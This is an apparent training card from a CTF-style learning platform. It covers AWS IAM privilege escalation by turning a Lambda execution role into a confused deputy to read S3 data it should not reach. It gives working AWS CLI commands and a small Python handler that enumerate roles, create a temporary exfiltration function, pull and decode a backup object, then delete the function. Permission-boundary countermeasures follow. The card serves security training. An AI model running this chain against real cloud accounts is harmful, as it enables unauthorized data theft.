Browse CTFs New CTF Sign in

IAM Privilege Escalation Chain: AssumeRole, PassRole and CreatePolicyVersion Abuse Paths

network_forensics_pcap Difficulty 1–5 30 min certifiable

Theory

Why This Matters

The confused deputy problem in cloud environments was formally documented by AWS in 2019 and has since been observed in real-world breaches where an attacker with limited permissions exploited a more-privileged intermediary service to perform actions beyond their own authorization. In 2022, a red team engagement at a logistics company demonstrated this pattern end-to-end: the assessor's IAM user had lambda:InvokeFunction and lambda:GetFunctionConfiguration but no direct S3 access. A Lambda function with an execution role containing s3:GetObject on "Resource": "*" was used as a proxy — the assessor crafted an event payload causing the function to read a specific S3 object and include its content in the response. The S3 data was exfiltrated through the Lambda response body, entirely within IAM's expected behaviour. No IAM policy violation occurred — the function was doing exactly what its execution role permitted.

Core Concept

This card covers a three-stage attack chain: starting from an overpermissive IAM identity, pivoting through Lambda function configuration discovery, and exfiltrating S3 data via the Lambda execution role as a confused deputy.

The starting position is an IAM user or role with lambda:* (all Lambda actions) and s3:* (all S3 actions) on "Resource": "*". This is a common configuration seen in "developer" or "DevOps" IAM policies. The attacker does not need direct s3:GetObject to the target bucket — the Lambda execution role may have access to buckets and prefixes that the calling IAM identity cannot reach directly.

Enumeration phase: lambda:ListFunctions lists all functions. lambda:GetFunctionConfiguration reads each function's execution role ARN. The attacker then looks up the execution role's policies using iam:GetRolePolicy or iam:ListAttachedRolePolicies to find roles with broader S3 access than the calling identity.

Confused deputy exploitation: The Lambda function is invoked with a crafted event payload designed to trigger S3 access and return the result. This may be as simple as triggering an existing function that reads from S3 based on an event-provided bucket name or key — the attacker substitutes their target bucket/key in the event. Alternatively, the attacker can create a new Lambda function (using lambda:CreateFunction + iam:PassRole) with the target execution role, implement a function that reads and returns the desired S3 content, invoke it, then delete it.

Permission boundary enforcement is the correct countermeasure: a permission boundary on the execution role limits the role's effective permissions regardless of what the role's identity-based policy says. Even if the role policy contains s3:* on "Resource": "*", a permission boundary restricting access to a specific bucket prefix prevents cross-bucket access.

Technical Deep-Dive

# ── Stage 1: Enumerate Lambda functions and execution roles ───
aws lambda list-functions 
  --query "Functions[*].[FunctionName, Role]" --output table

# For each function, resolve the execution role policies
ROLE_ARN="arn:aws:iam::123456789012:role/prod-etl-lambda-role"
ROLE_NAME=$(echo $ROLE_ARN | cut -d/ -f2)

aws iam list-attached-role-policies --role-name $ROLE_NAME
aws iam get-role-policy --role-name $ROLE_NAME --policy-name inline-policy-name

# ── Stage 2: Identify roles with broader S3 access ───────────
# Current identity cannot access: s3://sensitive-backups/
# But the Lambda role has s3:* on "Resource": "*"

# Verify your own S3 access (expect AccessDenied)
aws s3 ls s3://sensitive-backups/ 2>&1
# AccessDenied

# Confirm the Lambda role CAN access it via simulate
aws iam simulate-principal-policy 
  --policy-source-arn $ROLE_ARN 
  --action-names s3:GetObject s3:ListBucket 
  --resource-arns "arn:aws:s3:::sensitive-backups" "arn:aws:s3:::sensitive-backups/*"

# ── Stage 3a: Confused deputy via existing function ───────────
# Craft an event that causes the function to read the target S3 object
# Assumes the function reads bucket/key from the event payload
aws lambda invoke 
  --function-name prod-etl-processor 
  --payload '{"bucket": "sensitive-backups", "key": "backup-2024-q4.sql.gz"}' 
  --log-type Tail 
  response.json
cat response.json   # S3 object content or error — reveals access

# ── Stage 3b: Confused deputy via new function (if lambda:CreateFunction) ──
cat > /tmp/exfil.py << 'PYEOF'
import boto3, json, base64
def handler(event, context):
    s3 = boto3.client("s3")
    obj = s3.get_object(Bucket=event["bucket"], Key=event["key"])
    return {"body": base64.b64encode(obj["Body"].read()).decode()}
PYEOF
zip /tmp/exfil.zip /tmp/exfil.py

aws lambda create-function 
  --function-name tmp-exfil 
  --runtime python3.12 
  --role $ROLE_ARN 
  --handler exfil.handler 
  --zip-file fileb:///tmp/exfil.zip

aws lambda invoke 
  --function-name tmp-exfil 
  --payload '{"bucket":"sensitive-backups","key":"backup-2024-q4.sql.gz"}' 
  out.json

base64 -d <<< $(jq -r '.body' out.json) > backup-2024-q4.sql.gz

# Cleanup
aws lambda delete-function --function-name tmp-exfil

Security Assessment Methodology

  1. Enumerate Lambda functions and their execution roles — build a map of function_name → execution_role_arn → attached_policies. Record which roles have broad S3 permissions.
  2. Compare execution role permissions against calling identity permissions — use aws iam simulate-principal-policy on both identities. Flag any resource accessible to the execution role but not the calling identity — this is the confused deputy opportunity.
  3. Identify invocable functions — confirm the calling identity has lambda:InvokeFunction on target functions. Check lambda:GetPolicy on each function to see if the resource-based policy permits invocation from the calling principal.
  4. Test confused deputy invocation — craft event payloads targeting the sensitive resource. Monitor the response for S3 content or error messages that reveal access (even an error like "NoSuchKey" confirms the role can reach the bucket).
  5. Test function creation path — if lambda:CreateFunction and iam:PassRole are available, create a minimal exfiltration function with the target execution role, invoke it, extract data, and delete it. Document the complete action sequence.
  6. Assess permission boundaries — use aws iam get-role --role-name NAME --query "Role.PermissionsBoundary" on each execution role. Absence of a permission boundary is a key finding.
  7. Document the IAM evaluation chain — show explicitly that the S3 access occurred via the execution role (not the calling identity) and that no IAM policy was violated, to demonstrate the confused deputy nature of the finding.

Defensive Countermeasure — Attach a permission boundary to every Lambda execution role that restricts S3 access to the specific buckets and prefixes the function requires: {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":"arn:aws:s3:::prod-etl-input/*"},{"Effect":"Deny","Action":"s3:*","Resource":"*","Condition":{"StringNotLike":{"s3:prefix":"etl-input/*"}}}]}. Additionally, restrict iam:PassRole to only allow passing roles whose names match a specific naming convention using "Condition": {"StringLike": {"iam:PassedToService": "lambda.amazonaws.com", "iam:ResourceTag/Purpose": "lambda-execution"}}.

Common Assessment Errors

  • Assuming lambda:InvokeFunction requires the same permissions as the execution role — the calling identity needs only lambda:InvokeFunction; the execution role's policies govern what happens inside the function. The two permission sets are independent.
  • Not testing event payload injection — functions that process event-provided bucket names or keys are direct confused deputy vectors. Test all event schema fields that reference resource identifiers.
  • Missing lambda:CreateFunction as an escalation path — if the calling identity has lambda:CreateFunction + iam:PassRole, the confused deputy path is always available regardless of what existing functions do.
  • Overlooking function response size limits — Lambda responses are capped at 6 MB (synchronous) or 256 KB (asynchronous). Large S3 objects cannot be exfiltrated in a single invocation; test chunked approaches or use S3 presigned URL generation as an alternative.
  • Not checking lambda:UpdateFunctionCode — if the calling identity can update an existing function's code, it can replace the function with an exfiltration handler and invoke it, achieving the same confused deputy effect without needing lambda:CreateFunction.
  • Skipping permission boundary checks on the calling identity — the calling identity may have a permission boundary that blocks iam:PassRole. Always confirm the effective permissions of the starting identity before attempting the attack chain.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0053 Knowledge of cloud infrastructure vulnerabilities and attack surfaces Explains the confused deputy problem in cloud IAM, execution role trust boundaries, and the three-stage Lambda pivot chain
K0167 Knowledge of systems security testing methodologies Develops a seven-step chained assessment methodology covering execution role enumeration, confused deputy exploitation, and permission boundary analysis
S0073 Skill in using penetration testing tools and techniques against cloud infrastructure Trains Lambda function enumeration, event payload crafting for confused deputy exploitation, and permission boundary gap analysis using AWS CLI
T0144 Task: Conduct penetration testing on cloud-hosted systems Directly exercises the full IAM-wildcard-to-Lambda-to-S3 attack chain including both existing-function and function-creation exploitation paths
T0395 Task: Recommend security controls for cloud environments Develops precise permission boundary design for Lambda execution roles and conditional iam:PassRole restrictions

Further Reading

  • "Confused Deputy Problem in AWS IAM" — AWS Documentation, IAM Security Best Practices
  • "IAM Permission Boundaries — When and How to Use Them" — AWS Security Blog
  • "Lambda Security: Least-Privilege Execution Roles and Confused Deputy Mitigations" — Palo Alto Prisma Cloud Blog

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.